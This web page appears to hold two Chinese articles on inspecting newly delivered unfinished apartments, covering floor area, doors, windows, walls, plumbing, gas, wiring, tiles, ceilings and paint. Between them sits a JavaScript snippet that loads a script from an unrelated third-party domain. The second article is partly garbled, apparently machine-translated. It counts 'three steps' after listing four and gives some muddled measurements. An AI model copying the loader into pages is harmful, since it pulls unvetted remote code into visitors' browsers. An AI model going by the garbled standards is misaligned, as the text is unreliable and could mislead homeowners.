如何验收期房 毛坯房应该如何验收

期房交房一般分精装和毛坯，在验收的时候有着很大的区别，很多业主觉得精装房需要仔细验收，毛坯房看看格局就好，却忽略了毛坯房验收结果会影响到后续的装修。那么，如何验收期房呢？一、如何验收期房之房屋面积测量房屋的面积，核实与购买面积是否一致，如果面积对比误差超过3%，可以要求开发商退房。二、如何验收期房之门窗检查室内门窗，现在的房子大多数都是高层，门窗的质量与居住安全息息相关，很多家庭在装修时只更换门，而不会换窗户，因此在验收时要仔细检查门窗品牌与合同上的是否一致。如果不准备更换门，也要检查门是否有破损变形，在后续装修中，各种装修材料进出，非常容易刮伤门板，提前做好验收，可防止后期装修人员推卸责任。检查室内窗户的密封条和滑轮、玻璃等是否破损，开关是否灵活。三、如何验收期房之墙面和地面检查墙面和地面，墙面和地面是出现问题比较多的地方，一些小瑕疵可以通过装修来弥补，例如与横梁平行的墙面有裂缝，一般不存在危险，可直接让装修工人填补，但如果裂缝横梁垂直，表明沉降严重，要及时与物业相关人员沟通。检查墙面空鼓、爆灰、起粉现象，轻微的可以后期修补，严重的也要及时与相关人员联系处理。四、如何验收期房之水电和燃气验收检查燃气报警器是否灵敏，报警时阀门是否能够自动关闭。下水管是否有破损或修补迹象，卫生间是否有预留通风口。将水阀打开，检查水管能否顺畅出水，并观察水管是否有漏水现象。检查阳台顶部排水管及周围是否有渗漏。以上就是如何验收期房毛坯房的内容，一定要先验后收，避免收房后产生纠纷。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛胚房验收标准有哪些

买房后的验房是一个非常重要的流程，购买毛坯房也是一样，但很多人都不知道毛坯房的验收标准和要点是什么。所以，接下来给大家从各方面介绍一下毛胚房验收标准。1、水电验收水电是装修中的一个隐蔽项目，但它也是关键点。因此，必须严格按照毛胚房验收标准仔细检查和接受。通常所有接头在缠绕导线后必须缠绕5-8圈。电路完成后，绝缘电阻测试必须大于0.5兆欧，开关应为15厘米，灯头应为40厘米（根据实际的管线接收）。应测试冷热水的水流量，单面墙上线盒的距离和高度应保持一致。2、墙和地板工程验收毛胚房验收标准包括墙面和地砖，表面不能明显交错，你不能使用破碎的砖块。墙壁和地板接缝不应超过3毫米。单壁墙壁不允许有多个空鼓。橱柜，水槽，浴缸等应注意墙角的角落。关节应该是均匀的，角落处应该没有堆积。应该发现厨房浴室地砖有一个不允许淹没的斜坡，浴室的坡度是千分之五。3、木基验收首先使用的最常见的天花板是轻钢龙骨和当地木龙骨。木龙骨在使用前必须涂上防火涂料。主龙骨相距80厘米，次龙骨40厘米。吊肋应尽可能保持垂直，倾斜度不应超过1cm。吊肋应牢固安装，与龙骨的接触应紧密牢固，不应松动。底座的高度应保持一致，房间的中间应正确拱起。机柜合理划分，满足客户要求。机柜的接头紧密不应超过1毫米。接头应牢固粘合，不应有分层。毛胚房验收标准面板不应有明显的损坏和钉孔，线路闭合应光滑，与面板一致，超宽线原则上不得拼接。4、乳胶漆验收在阴阳角处没有明显的弯曲。毛胚房验收标准从墙面50cm处看不到阴影，没有沙眼，没有墙面。刷子的颜色是均匀的，允许轻微的流出物或咬合，并有少量轻微的下垂到眼睛。白色珐琅漆需要刮去基层。毛胚房验收标准有以上三步，买了房子拿到房间钥匙固然开心，一般业主从开发商那里买的房子都是毛胚房，除了门框就什么都没有了，很多业主以为这样的房子就不需要验收，其实毛胚房也是需要验收的，如果发生质量问题，及时和开发商进行沟通。